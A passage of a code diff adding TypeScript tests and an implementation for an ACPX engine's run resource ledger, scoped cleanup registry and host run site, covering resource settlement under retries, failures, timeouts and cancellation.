+  });
+
+  // Case 8 — a resume retry runs ensureSession twice but registers the runtime
+  // once, so the acquired set has no doubled resource.
+  it("case_08_resume_retry_does_not_double_resources", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const cwd = path.join(root, "worktree");
+    await fs.mkdir(cwd, { recursive: true });
+    const config = { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd };
+
+    // A first clean host run mints the session params the second run resumes from.
+    const firstExecute = createAcpxEngineExecutor({ createRuntime: () => completedRuntime() });
+    const first = await firstExecute({
+      runId: "fault-resume-a",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+
+    // The second run resumes: the resume ensureSession fails, the fresh retry
+    // succeeds. The runtime is created once, so acp_runtime registers once.
+    const capture = captureDisposition();
+    let created = 0;
+    const secondExecute = createAcpxEngineExecutor({
+      onSettlementDisposition: capture.onSettlementDisposition,
+      createRuntime: () => {
+        created += 1;
+        return {
+          ensureSession: async (session: Record<string, unknown>) => {
+            if (session.resumeSessionId) throw new Error("resume session not found");
+            return okHandle;
+          },
+          startTurn: () => completedTurn(),
+          setConfigOption: async () => {},
+          close: async () => {},
+        } as never;
+      },
+    });
+    const second = await secondExecute({
+      runId: "fault-resume-b",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: (first as { sessionParams?: unknown }).sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(second.exitCode).toBe(0);
+    // The runtime was created exactly once across the resume and the fresh retry.
+    expect(created).toBe(1);
+    // The host lane acquires only the runtime, and it appears once.
+    assertDispositionReport(capture.last(), { acquired: ["acp_runtime"] });
+  });
+
+  // Case 9 — a turn exception finalizes every resource (the staged runtime is
+  // discarded, not transferred).
+  it("case_09_turn_exception_discards_staged_runtime", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-turn",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("turn");
+    expect(result.errorCode).toBe("acpx_turn_failed");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
+  });
+
+  // Case 10 — a turn timeout finalizes every resource.
+  it("case_10_turn_timeout_finalizes_every_resource", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    let releaseTurn: (() => void) | null = null;
+    const turnCancelled = new Promise<void>((resolve) => {
+      releaseTurn = resolve;
+    });
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => ({
+            events: (async function* () {
+              await turnCancelled;
+            })(),
+            result: turnCancelled.then(() => ({ status: "cancelled", stopReason: "cancelled" })),
+            cancel: async () => {
+              releaseTurn?.();
+            },
+          }),
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-timeout",
+      ...remoteArgs(stateDir, localCwd, executionTarget, {
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd, timeoutSec: 1 },
+      }),
+    } as never);
+
+    expect(result.timedOut).toBe(true);
+    expect(result.errorCode).toBe("acpx_timeout");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
+  }, 15_000);
+
+  // Case 11 — a cancelled turn finalizes every resource.
+  it("case_11_turn_cancellation_finalizes_every_resource", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => cancelledTurn(),
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-cancel",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.status).toBe("cancelled");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
+  });
+
+  // Case 12 — a clean success saves the staged runtime (transferred); every other
+  // resource finalizes. A managed-home seed exercises the full six-resource set.
+  it("case_12_clean_success_transfers_staged_runtime", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => completedRuntime(),
+      prepareRemoteManagedHome: managedHomeSeed(),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-success",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.resultJson?.status).toBe("completed");
+    assertDispositionReport(capture.last(), {
+      acquired: SANDBOX_WITH_MANAGED_HOME,
+      transferred: "staged_runtime",
+    });
+  });
+
+  // Case 13 — a bridge stop that rejects during settlement never changes the
+  // result or the report (allSettled absorbs the fault).
+  it("case_13_bridge_stop_reject_does_not_change_result", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges({ stopRejects: true });
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => completedRuntime(),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-bridge-stop",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.resultJson?.status).toBe("completed");
+    assertDispositionReport(capture.last(), {
+      acquired: SANDBOX_WITH_RUNTIME,
+      transferred: "staged_runtime",
+    });
+  });
+
+  // Case 14 — a sync-back copy-back that rejects during settlement never changes
+  // the result or the report.
+  it("case_14_sync_back_failure_does_not_change_result", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => completedRuntime(),
+      prepareRemoteManagedHome: managedHomeSeed({ teardownRejects: true }),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-sync-back",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.resultJson?.status).toBe("completed");
+    assertDispositionReport(capture.last(), {
+      acquired: SANDBOX_WITH_MANAGED_HOME,
+      transferred: "staged_runtime",
+    });
+  });
+
+  // Case 15 — a concurrent double settlement is a structural error: the second
+  // claim of the ledger throws a LedgerStateError.
+  it("case_15_concurrent_double_settlement_throws_ledger_state_error", async () => {
+    const ledger = createRunResourceLedger();
+    ledger.register({
+      id: "acp_runtime",
+      payload: { runtime: {}, sessionHandle: {}, childProcessPid: null } as never,
+      scope: "per_run",
+    });
+    const noopSteps: SettlementSteps = {
+      reuseCandidate: () => null,
+      endSession: () => {},
+      settleReuse: () => {},
+      stopTransport: () => {},
+      syncBack: () => {},
+      releaseStagingLease: () => {},
+      recordError: () => {},
+    };
+
+    // The first settlement claims the ledger and produces the report.
+    const report = await settleAcpRun(ledger, null, noopSteps);
+    assertDispositionReport(report, { acquired: ["acp_runtime"] });
+
+    // A second settlement of the same ledger is a structural error.
+    await expect(settleAcpRun(ledger, null, noopSteps)).rejects.toBeInstanceOf(LedgerStateError);
+  });
+
+  // Case 16 — the host-lane credential gate. Constructed gate-passed: the runtime
+  // transfers and never closes. Live host path (gate failed): the runtime closes
+  // and never transfers.
+  it("case_16_host_credential_gate_transfer_versus_close", async () => {
+    // Constructed gate-passed condition: a host candidate with no live run-scoped
+    // credential. The reuse decision saves, so the runtime transfers and endSession
+    // never closes it.
+    const ledger = createRunResourceLedger();
+    ledger.register({
+      id: "acp_runtime",
+      payload: { runtime: {}, sessionHandle: {}, childProcessPid: null } as never,
+      scope: "per_run",
+    });
+    let closed = false;
+    const gatePassedSteps: SettlementSteps = {
+      reuseCandidate: () => ({ kind: "host", causePermitsSave: true, liveRunScopedCredentials: [] }),
+      endSession: (_slots, decision) => {
+        if (decision.kind !== "save") closed = true;
+      },
+      settleReuse: () => {},
+      stopTransport: () => {},
+      syncBack: () => {},
+      releaseStagingLease: () => {},
+      recordError: () => {},
+    };
+    const gatePassedReport = await settleAcpRun(ledger, null, gatePassedSteps);
+    expect(closed).toBe(false);
+    assertDispositionReport(gatePassedReport, { acquired: ["acp_runtime"], transferred: "acp_runtime" });
+
+    // Live host path: the engine populates the run-scoped credential, so the gate
+    // fails, the runtime closes, and it never transfers.
+    const root = await makeTempRoot();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      createRuntime: () => completedRuntime(),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+    const result = await execute({
+      runId: "fault-host-gate",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir: path.join(root, "state"),
+        mode: "persistent",
+        warmHandleIdleMs: 60_000,
+      },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    // The live host path closes and never transfers the runtime.
+    assertDispositionReport(capture.last(), { acquired: ["acp_runtime"], transferred: null });
+  });
+
+  // Case 17 — a host-lane turn failure finalizes (closes) the runtime.
+  it("case_17_host_turn_failure_finalizes_runtime", async () => {
+    const root = await makeTempRoot();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          setConfigOption: async () => {},
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-host-turn-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir: path.join(root, "state"),
+        mode: "persistent",
+        warmHandleIdleMs: 60_000,
+      },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("turn");
+    assertDispositionReport(capture.last(), { acquired: ["acp_runtime"], transferred: null });
+  });
+});
+
+describe("composed ACPX run per-phase telemetry", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("emits a run.phase.timing event for each lifecycle phase a clean host run reaches", async () => {
+    const root = await makeTempRoot();
+    const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      createRuntime: () => completedRuntime(),
+    });
+
+    const result = await execute({
+      runId: "phase-telemetry",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+        events.push(event);
+      },
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    const phases = events
+      .filter((event) => event.eventType === "run.phase.timing")
+      .map((event) => String(event.payload?.phase));
+    // A clean host run runs the runtime, session, prepare, turn, and settlement
+    // phases. Each phase emits a phase-timing event.
+    for (const phase of ["create_runtime", "ensure_session", "prepare_turn", "turn", "end_session"]) {
+      expect(phases, `missing phase telemetry for ${phase}`).toContain(phase);
+    }
+    // Every phase-timing event carries exactly the three closed fields.
+    for (const event of events.filter((entry) => entry.eventType === "run.phase.timing")) {
+      expect(Object.keys(event.payload ?? {}).sort()).toEqual(["durationMs", "outcome", "phase"]);
+    }
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/run-resource-ledger.test.ts b/packages/adapter-utils/src/acpx-engine/run-resource-ledger.test.ts
new file mode 100644
index 00000000000..20c8a1fda27
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-resource-ledger.test.ts
@@ -0,0 +1,185 @@
+import { describe, expect, it, vi } from "vitest";
+import { createRunResourceLedger, createScopedCleanupRegistry } from "./run-resource-ledger.js";
+import { LedgerStateError } from "./run-contracts.js";
+import type { RunResourcePayloads } from "./run-contracts.js";
+
+// A typed placeholder payload for a resource whose value the test never reads.
+function stub<T>(): T {
+  return undefined as unknown as T;
+}
+
+describe("run resource ledger", () => {
+  it("test_register_throws_on_filled_slot", () => {
+    const ledger = createRunResourceLedger();
+    ledger.register({ id: "staging_lease", scope: "per_run", payload: { release: () => {} } });
+
+    expect(() =>
+      ledger.register({ id: "staging_lease", scope: "per_run", payload: { release: () => {} } }),
+    ).toThrow(LedgerStateError);
+  });
+
+  it("test_register_throws_after_seal_and_after_take", () => {
+    const sealed = createRunResourceLedger();
+    sealed.register({ id: "staging_lease", scope: "per_run", payload: { release: () => {} } });
+    sealed.seal(["staging_lease"]);
+    expect(() =>
+      sealed.register({
+        id: "managed_home",
+        scope: "per_run",
+        payload: stub<RunResourcePayloads["managed_home"]>(),
+      }),
+    ).toThrow(LedgerStateError);
+
+    const taken = createRunResourceLedger();
+    taken.register({ id: "staging_lease", scope: "per_run", payload: { release: () => {} } });
+    taken.takeForSettlement();
+    expect(() =>
+      taken.register({
+        id: "managed_home",
+        scope: "per_run",
+        payload: stub<RunResourcePayloads["managed_home"]>(),
+      }),
+    ).toThrow(LedgerStateError);
+  });
+
+  it("test_seal_validates_site_declared_required_slots", () => {
+    const ledger = createRunResourceLedger();
+    ledger.register({
+      id: "acp_runtime",
+      scope: "per_run",
+      payload: stub<RunResourcePayloads["acp_runtime"]>(),
+    });
+
+    // The site declares control_bridge required, but it is not registered, so
+    // seal throws and leaves the ledger open.
+    expect(() => ledger.seal(["acp_runtime", "control_bridge"])).toThrow(LedgerStateError);
+
+    // The failed seal left the ledger open, so the missing slot can be filled.
+    ledger.register({
+      id: "control_bridge",
+      scope: "per_run",
+      payload: stub<RunResourcePayloads["control_bridge"]>(),
+    });
+    const ready = ledger.seal(["acp_runtime", "control_bridge"]);
+
+    expect(ready.has("acp_runtime")).toBe(true);
+    expect(ready.has("control_bridge")).toBe(true);
+    expect([...ready.sealed]).toEqual(["acp_runtime", "control_bridge"]);
+  });
+
+  it("test_seal_promotes_startup_rollback_entries_to_per_run", () => {
+    const ledger = createRunResourceLedger();
+    // Promotable by default.
+    ledger.register({
+      id: "staged_runtime",
+      scope: "startup_rollback",
+      payload: stub<RunResourcePayloads["staged_runtime"]>(),
+    });
+    // Pinned as rollback-only.
+    ledger.register({
+      id: "control_bridge",
+      scope: "startup_rollback",
+      promotable: false,
+      payload: stub<RunResourcePayloads["control_bridge"]>(),
+    });
+    ledger.register({
+      id: "acp_runtime",
+      scope: "per_run",
+      payload: stub<RunResourcePayloads["acp_runtime"]>(),
+    });
+
+    const ready = ledger.seal(["staged_runtime", "control_bridge", "acp_runtime"]);
+
+    expect(ready.scopeOf("staged_runtime")).toBe("per_run");
+    expect(ready.scopeOf("control_bridge")).toBe("startup_rollback");
+    expect(ready.scopeOf("acp_runtime")).toBe("per_run");
+  });
+
+  it("test_take_for_settlement_is_synchronous_one_time_claim", () => {
+    const ledger = createRunResourceLedger();
+    ledger.register({
+      id: "acp_runtime",
+      scope: "per_run",
+      payload: stub<RunResourcePayloads["acp_runtime"]>(),
+    });
+
+    const consumed = ledger.takeForSettlement();
+
+    // Synchronous: the claim comes back directly, not as a promise.
+    expect(consumed).not.toBeInstanceOf(Promise);
+    expect(consumed.entries().map((entry) => entry.id)).toContain("acp_runtime");
+
+    // One-time: a second claim throws.
+    expect(() => ledger.takeForSettlement()).toThrow(LedgerStateError);
+  });
+
+  it("test_second_take_throws_ledger_state_error_before_any_side_effect", () => {
+    const ledger = createRunResourceLedger();
+    const onDisposition = vi.fn();
+    ledger.register({
+      id: "staging_lease",
+      scope: "per_run",
+      payload: { release: () => {} },
+      onDisposition,
+    });
+
+    const first = ledger.takeForSettlement();
+    expect(first.entries().map((entry) => entry.id)).toEqual(["staging_lease"]);
+    expect(onDisposition).toHaveBeenCalledTimes(1);
+    expect(onDisposition).toHaveBeenCalledWith("transferred");
+
+    let thrown: unknown;
+    try {
+      ledger.takeForSettlement();
+    } catch (err) {
+      thrown = err;
+    }
+
+    expect(thrown).toBeInstanceOf(LedgerStateError);
+    // The second claim threw before it marked a disposition a second time.
+    expect(onDisposition).toHaveBeenCalledTimes(1);
+  });
+
+  it("scoped cleanup registry runs and promotes cleanups by scope", async () => {
+    const registry = createScopedCleanupRegistry();
+    const order: string[] = [];
+    registry.add("startup_rollback", () => {
+      order.push("rollback-a");
+    });
+    registry.add("startup_rollback", async () => {
+      order.push("rollback-b");
+    });
+    registry.add("per_run", () => {
+      order.push("per-run");
+    });
+    expect(registry.size("startup_rollback")).toBe(2);
+
+    registry.promote("startup_rollback", "per_run");
+    expect(registry.size("startup_rollback")).toBe(0);
+    expect(registry.size("per_run")).toBe(3);
+
+    await registry.run("per_run");
+
+    // Reverse registration order (last in, first out).
+    expect(order).toEqual(["rollback-b", "rollback-a", "per-run"]);
+    expect(registry.size("per_run")).toBe(0);
+  });
+
+  it("scoped cleanup registry runs every cleanup even when one fails", async () => {
+    const registry = createScopedCleanupRegistry();
+    const ran: string[] = [];
+    registry.add("per_run", () => {
+      ran.push("first");
+    });
+    registry.add("per_run", () => {
+      throw new Error("boom");
+    });
+    registry.add("per_run", () => {
+      ran.push("third");
+    });
+
+    await expect(registry.run("per_run")).rejects.toBeInstanceOf(AggregateError);
+    // The failing cleanup did not skip the others.
+    expect(ran).toEqual(["third", "first"]);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/run-resource-ledger.ts b/packages/adapter-utils/src/acpx-engine/run-resource-ledger.ts
new file mode 100644
index 00000000000..3e1e9780390
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-resource-ledger.ts
@@ -0,0 +1,201 @@
+// The run resource ledger and the scoped cleanup registry.
+//
+// The ledger is the single owner of the run resources between acquisition and
+// settlement. `register` is the only writer. `seal` ends acquisition and
+// validates the required set. `takeForSettlement` makes the one-time claim that
+// hands the resources to settlement. The state machine is `open -> sealed ->
+// consumed` or `open -> consumed`.
+//
+// The scoped cleanup registry holds cleanup thunks by lifetime. The coordinator
+// runs the `startup_rollback` scope when startup fails and the `per_run` scope
+// at settlement. A successful seal promotes the rollback cleanups to per_run.
+
+import { LedgerStateError } from "./run-contracts.js";
+import type {
+  AcquiredRunResources,
+  CleanupScope,
+  ConsumedRunResources,
+  ReadyRunResources,
+  ResourceDisposition,
+  ResourceId,
+  RunResourcePayloads,
+  RunResourceRegistration,
+  SettledResourceEntry,
+} from "./run-contracts.js";
+
+type LedgerState = "open" | "sealed" | "consumed";
+
+interface LedgerSlot {
+  readonly id: ResourceId;
+  readonly payload: RunResourcePayloads[ResourceId];
+  scope: CleanupScope;
+  readonly promotable: boolean;
+  readonly onDisposition?: (disposition: ResourceDisposition) => void;
+}
+
+/**
+ * Create a run resource ledger. The ledger starts `open`. `register` fills at
+ * most one slot per resource id. `seal` validates the required set and promotes
+ * promotable `startup_rollback` entries to `per_run`. `takeForSettlement` makes
+ * the one-time settlement claim.
+ */
+export function createRunResourceLedger(): AcquiredRunResources {
+  const slots = new Map<ResourceId, LedgerSlot>();
+  let state: LedgerState = "open";
+  let sealedRequired: readonly ResourceId[] = [];
+
+  function readyView(): ReadyRunResources {
+    const view = {
+      get(id: ResourceId): RunResourcePayloads[ResourceId] | undefined {
+        return slots.get(id)?.payload;
+      },
+      scopeOf(id: ResourceId): CleanupScope | undefined {
+        return slots.get(id)?.scope;
+      },
+      has(id: ResourceId): boolean {
+        return slots.has(id);
+      },
+      sealed: sealedRequired,
+    };
+    return view as unknown as ReadyRunResources;
+  }
+
+  return {
+    register(registration: RunResourceRegistration): void {
+      if (state !== "open") {
+        throw new LedgerStateError(
+          state === "sealed"
+            ? "cannot register a resource after the ledger is sealed"
+            : "cannot register a resource after the ledger is taken for settlement",
+        );
+      }
+      if (slots.has(registration.id)) {
+        throw new LedgerStateError(`resource slot "${registration.id}" is already filled`);
+      }
+      slots.set(registration.id, {
+        id: registration.id,
+        payload: registration.payload,
+        scope: registration.scope,
+        promotable: registration.promotable ?? true,
+        onDisposition: registration.onDisposition,
+      });
+    },
+
+    seal(required: readonly ResourceId[]): ReadyRunResources {
+      if (state !== "open") {
+        throw new LedgerStateError(
+          state === "sealed"
+            ? "the ledger is already sealed"
+            : "cannot seal the ledger after it is taken for settlement",
+        );
+      }
+      // Validate the required set first. A failed seal must leave the ledger
+      // open and unchanged, so the caller can register the missing slot and
+      // seal again.
+      const missing = required.filter((id) => !slots.has(id));
+      if (missing.length > 0) {
+        throw new LedgerStateError(`seal is missing required resource(s): ${missing.join(", ")}`);
+      }
+      // Promote every promotable startup_rollback entry to per_run in one pass.
+      // The resource now lives through the whole run, so settlement owns it.
+      for (const slot of slots.values()) {
+        if (slot.scope === "startup_rollback" && slot.promotable) {
+          slot.scope = "per_run";
+        }
+      }
+      state = "sealed";
+      sealedRequired = [...required];
+      return readyView();
+    },
+
+    takeForSettlement(): ConsumedRunResources {
+      // The one-time claim. Check the state first, so a second claim throws
+      // before it can mark a disposition or hand the resources out again.
+      if (state === "consumed") {
+        throw new LedgerStateError("run resources are already taken for settlement");
+      }
+      state = "consumed";
+      const entries: SettledResourceEntry[] = [];
+      for (const slot of slots.values()) {
+        slot.onDisposition?.("transferred");
+        entries.push({
+          id: slot.id,
+          payload: slot.payload,
+          scope: slot.scope,
+          disposition: "transferred",
+        });
+      }
+      const consumed = { entries: () => entries };
+      return consumed as unknown as ConsumedRunResources;
+    },
+  };
+}
+
+/**
+ * A registry of cleanup thunks, grouped by lifetime scope. The coordinator adds
+ * a cleanup under a scope, promotes a scope's cleanups to another scope, and
+ * runs a scope's cleanups.
+ */
+export interface ScopedCleanupRegistry {
+  /** Add a cleanup under a scope. */
+  add(scope: CleanupScope, cleanup: () => void | Promise<void>): void;
+  /** Move every cleanup from one scope to another, in registration order. */
+  promote(from: CleanupScope, to: CleanupScope): void;
+  /** The count of cleanups in a scope. */
+  size(scope: CleanupScope): number;
+  /**
+   * Run and clear a scope's cleanups in reverse registration order. Run every
+   * cleanup even when one fails. Throw an `AggregateError` at the end when one
+   * or more failed, so no error is lost and no cleanup is skipped.
+   */
+  run(scope: CleanupScope): Promise<void>;
+}
+
+/** Create an empty scoped cleanup registry. */
+export function createScopedCleanupRegistry(): ScopedCleanupRegistry {
+  const byScope = new Map<CleanupScope, Array<() => void | Promise<void>>>();
+
+  function bucket(scope: CleanupScope): Array<() => void | Promise<void>> {
+    let list = byScope.get(scope);
+    if (!list) {
+      list = [];
+      byScope.set(scope, list);
+    }
+    return list;
+  }
+
+  return {
+    add(scope: CleanupScope, cleanup: () => void | Promise<void>): void {
+      bucket(scope).push(cleanup);
+    },
+
+    promote(from: CleanupScope, to: CleanupScope): void {
+      if (from === to) return;
+      const source = byScope.get(from);
+      if (!source || source.length === 0) return;
+      const target = bucket(to);
+      target.push(...source);
+      byScope.set(from, []);
+    },
+
+    size(scope: CleanupScope): number {
+      return byScope.get(scope)?.length ?? 0;
+    },
+
+    async run(scope: CleanupScope): Promise<void> {
+      const list = byScope.get(scope) ?? [];
+      byScope.set(scope, []);
+      const errors: unknown[] = [];
+      for (let index = list.length - 1; index >= 0; index -= 1) {
+        try {
+          await list[index]();
+        } catch (err) {
+          errors.push(err);
+        }
+      }
+      if (errors.length > 0) {
+        throw new AggregateError(errors, `cleanup scope "${scope}" had ${errors.length} failure(s)`);
+      }
+    },
+  };
+}
diff --git a/packages/adapter-utils/src/acpx-engine/run-site-host.test.ts b/packages/adapter-utils/src/acpx-engine/run-site-host.test.ts
new file mode 100644
index 00000000000..681c6552f43
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-site-host.test.ts
@@ -0,0 +1,113 @@
+// Tests for the host run site (Phase 18).
+//
+// The host site is the null path with a warm-runtime store. These tests pin its
+// warm-hit and warm-save behavior against the baseline warm sets, and confirm
+// the null-path operations: host cwd plan, no staging failures, no transport,
+// and no sync-back.
+
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { createHostRunSite, type RuntimeCacheEntry } from "./run-site-host.js";
+import type { AcpRunContext, ReadyRunResources } from "./run-contracts.js";
+
+function makeEntry(id: string, lastUsedAt: number): RuntimeCacheEntry {
+  return {
+    runtime: { id, close: async () => {} } as never,
+    handle: { sessionKey: id } as never,
+    childStderrState: { logPath: null, pendingLiveLine: "" },
+    processIdentitySink: { current: undefined, latest: null },
+    fingerprint: `fp-${id}`,
+    lastUsedAt,
+  };
+}
+
+describe("host run site", () => {
+  beforeEach(() => {
+    vi.useFakeTimers();
+  });
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  it("test_host_site_warm_hit_and_warm_save_match_baseline_sets", async () => {
+    const warmHandles = new Map<string, RuntimeCacheEntry>();
+    const closed: RuntimeCacheEntry[] = [];
+    const site = createHostRunSite({
+      warmHandles,
+      now: () => Date.now(),
+      idleMs: 60_000,
+      closeWarmEntry: async (entry) => {
+        closed.push(entry);
+      },
+    });
+    const store = site.reuse();
+
+    // Warm save: the entry lands in the caller's map as the sole warm entry, the
+    // same set the baseline warm-save path produces (`warmHandles.size` is 1).
+    const entry = makeEntry("paperclip:c:a:t:fp", Date.now());
+    store.save(entry.handle.sessionKey, entry);
+    expect(new Set(warmHandles.keys())).toEqual(new Set(["paperclip:c:a:t:fp"]));
+    expect(warmHandles.get("paperclip:c:a:t:fp")).toBe(entry);
+    // The save armed a per-entry idle timer.
+    expect(entry.cleanupTimer).toBeDefined();
+
+    // Warm hit: a borrow returns the same entry and leaves it in the map, so an
+    // overlapping run of the same session still reads it. The borrow cleared the
+    // idle timer, so the reused runtime does not expire while it is in use.
+    expect(store.borrow("paperclip:c:a:t:fp")).toBe(entry);
+    expect(warmHandles.size).toBe(1);
+    await vi.advanceTimersByTimeAsync(120_000);
+    expect(closed).toEqual([]);
+    expect(warmHandles.get("paperclip:c:a:t:fp")).toBe(entry);
+
+    // A discard drops the entry and closes its runtime once, matching the
+    // baseline drop set (empty map, one close).
+    await store.discard("paperclip:c:a:t:fp");
+    expect(warmHandles.size).toBe(0);
+    expect(closed).toEqual([entry]);
+  });
+
+  it("test_host_site_plan_and_null_path_operations", async () => {
+    const site = createHostRunSite({
+      warmHandles: new Map(),
+      now: () => 0,
+      idleMs: 0,
+      closeWarmEntry: async () => {},
+    });
+
+    const context = {
+      fingerprintIdentity: { cwd: "/work/dir" },
+    } as unknown as AcpRunContext;
+
+    // The plan binds the session to the host cwd, names no relay-proxy spawn cwd,
+    // and disables sandbox tracing.
+    expect(site.plan(context)).toEqual({
+      sessionCwd: "/work/dir",
+      spawnCwd: undefined,
+      tracingEnabled: false,
+    });
+
+    // The host runs in place, so it places nothing, starts no transport, and
+    // syncs nothing back.
+    expect(await site.placeWorkspace(context)).toEqual({ referencedProjectStagingFailures: [] });
+    expect(await site.startTransport(context)).toEqual({ controlBridge: null, agentBridge: null });
+    await expect(site.syncBack(context)).resolves.toBeUndefined();
+  });
+
+  it("test_host_site_reuse_candidate_names_runtime_and_session_handle", () => {
+    const site = createHostRunSite({
+      warmHandles: new Map(),
+      now: () => 0,
+      idleMs: 0,
+      closeWarmEntry: async () => {},
+    });
+
+    const runtime = { id: "rt" };
+    const sessionHandle = { id: "handle" };
+    const resources = {
+      get: (id: string) =>
+        id === "acp_runtime" ? { runtime, sessionHandle, childProcessPid: 42 } : undefined,
+    } as unknown as ReadyRunResources;
+
+    expect(site.reuseCandidate(resources)).toEqual({ runtime, sessionHandle });
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/run-site-host.ts b/packages/adapter-utils/src/acpx-engine/run-site-host.ts
new file mode 100644
index 00000000000..6ed9d921a05
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-site-host.ts
@@ -0,0 +1,146 @@
+// The host run site.
+//
+// The host site is the literal null path: it runs the agent on the host, with
+// no sandbox, no staging, and no bridges. Its store keeps a live ACP runtime and
+// session handle warm across runs of the same session, so a compatible resume
+// reuses the running agent instead of a fresh spawn. This is today's warm-handle
+// cache, factored behind the generic reuse store.
+//
+// The site owns the warm store only. The engine still drives the run body; the
+// site's `plan`, `placeWorkspace`, `startTransport`, and `syncBack` are the null
+// operations the host lane always did (host cwd, no staging failures, no
+// transport, no sync-back). A later phase routes the whole lane through the site.
+
